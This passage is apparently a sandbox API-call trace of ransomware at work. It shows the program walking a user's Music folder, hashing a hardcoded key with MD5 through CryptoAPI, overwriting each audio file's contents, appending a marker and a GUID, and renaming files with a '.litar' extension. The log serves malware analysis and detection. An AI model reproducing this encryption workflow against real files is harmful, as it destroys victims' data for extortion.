ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.469] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.469] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0125.469] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa069530, ftCreationTime.dwHighDateTime=0x1d4c9c6, ftLastAccessTime.dwLowDateTime=0xb1395040, ftLastAccessTime.dwHighDateTime=0x1d4c6c4, ftLastWriteTime.dwLowDateTime=0xb1395040, ftLastWriteTime.dwHighDateTime=0x1d4c6c4, nFileSizeHigh=0x0, nFileSizeLow=0x10b4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f1KLA.m4a", cAlternateFileName="")) returned 1 [0125.469] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f1KLA.m4a") returned=".m4a" [0125.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f1KLA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f1kla.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.469] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=68428) returned 1 [0125.470] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.471] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10b26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.471] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.473] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x10b4c, lpOverlapped=0x0) returned 1 [0125.474] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.474] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.474] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.474] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.474] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0410) returned 1 [0125.474] CryptCreateHash (in: hProv=0x6a0410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.474] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.475] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.475] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.475] GetLastError () returned 0x0 [0125.475] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.475] CryptReleaseContext (hProv=0x6a0410, dwFlags=0x0) returned 1 [0125.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10b50) returned 0x30fa0b0 [0125.475] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.475] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x10b47, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x10b47, lpOverlapped=0x0) returned 1 [0125.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.475] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10b4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.476] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.476] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.476] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.476] CloseHandle (hObject=0x624) returned 1 [0125.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.477] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f1KLA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f1kla.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f1KLA.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f1kla.m4a.litar")) returned 1 [0125.477] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.477] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.478] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.478] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21890e20, ftCreationTime.dwHighDateTime=0x1d4c63a, ftLastAccessTime.dwLowDateTime=0x55090e60, ftLastAccessTime.dwHighDateTime=0x1d4cfc9, ftLastWriteTime.dwLowDateTime=0x55090e60, ftLastWriteTime.dwHighDateTime=0x1d4cfc9, nFileSizeHigh=0x0, nFileSizeLow=0x6a09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NDR1.m4a", cAlternateFileName="")) returned 1 [0125.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.479] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.479] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NDR1.m4a") returned=".m4a" [0125.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NDR1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ndr1.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.479] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=27145) returned 1 [0125.479] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.481] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x69e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.481] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.482] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.482] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x6a09, lpOverlapped=0x0) returned 1 [0125.483] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.483] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.483] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.483] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0410) returned 1 [0125.484] CryptCreateHash (in: hProv=0x6a0410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.484] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.484] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.484] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.484] GetLastError () returned 0x0 [0125.484] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.484] CryptReleaseContext (hProv=0x6a0410, dwFlags=0x0) returned 1 [0125.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6a10) returned 0x30fa0b0 [0125.484] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.484] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x6a04, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x6a04, lpOverlapped=0x0) returned 1 [0125.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.484] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6a09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.485] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.485] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.485] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.485] CloseHandle (hObject=0x624) returned 1 [0125.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.486] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NDR1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ndr1.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NDR1.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ndr1.m4a.litar")) returned 1 [0125.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.486] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.487] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd32404f0, ftCreationTime.dwHighDateTime=0x1d4cb12, ftLastAccessTime.dwLowDateTime=0xcebcb2a0, ftLastAccessTime.dwHighDateTime=0x1d4cf85, ftLastWriteTime.dwLowDateTime=0xcebcb2a0, ftLastWriteTime.dwHighDateTime=0x1d4cf85, nFileSizeHigh=0x0, nFileSizeLow=0x506c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RCBYlf_e4F0CAnTDs_Cv.wav", cAlternateFileName="RCBYLF~1.WAV")) returned 1 [0125.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0125.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.487] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RCBYlf_e4F0CAnTDs_Cv.wav") returned=".wav" [0125.487] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RCBYlf_e4F0CAnTDs_Cv.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rcbylf_e4f0cantds_cv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.488] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=20588) returned 1 [0125.488] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.490] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5046, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.490] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.491] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.491] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.491] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.491] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x506c, lpOverlapped=0x0) returned 1 [0125.494] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.495] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.495] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.495] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.495] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.495] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.495] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.496] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.496] GetLastError () returned 0x0 [0125.496] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.496] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5070) returned 0x30fa0b0 [0125.496] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.496] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x5067, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x5067, lpOverlapped=0x0) returned 1 [0125.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.496] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x506c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.496] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.496] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.496] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.496] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.496] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.497] CloseHandle (hObject=0x624) returned 1 [0125.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.497] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.497] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.497] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RCBYlf_e4F0CAnTDs_Cv.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rcbylf_e4f0cantds_cv.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RCBYlf_e4F0CAnTDs_Cv.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rcbylf_e4f0cantds_cv.wav.litar")) returned 1 [0125.498] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.498] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0125.499] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe67abc50, ftCreationTime.dwHighDateTime=0x1d4d063, ftLastAccessTime.dwLowDateTime=0x4c26d800, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0x4c26d800, ftLastWriteTime.dwHighDateTime=0x1d4d12b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tvalSG6kWCd", cAlternateFileName="TVALSG~1")) returned 1 [0125.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0125.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.499] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda5270d0, ftCreationTime.dwHighDateTime=0x1d4d103, ftLastAccessTime.dwLowDateTime=0xc114df40, ftLastAccessTime.dwHighDateTime=0x1d4cc44, ftLastWriteTime.dwLowDateTime=0xc114df40, ftLastWriteTime.dwHighDateTime=0x1d4cc44, nFileSizeHigh=0x0, nFileSizeLow=0x12349, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="U3NMPiDKOwkRxmiQp.m4a", cAlternateFileName="U3NMPI~1.M4A")) returned 1 [0125.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0125.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.499] 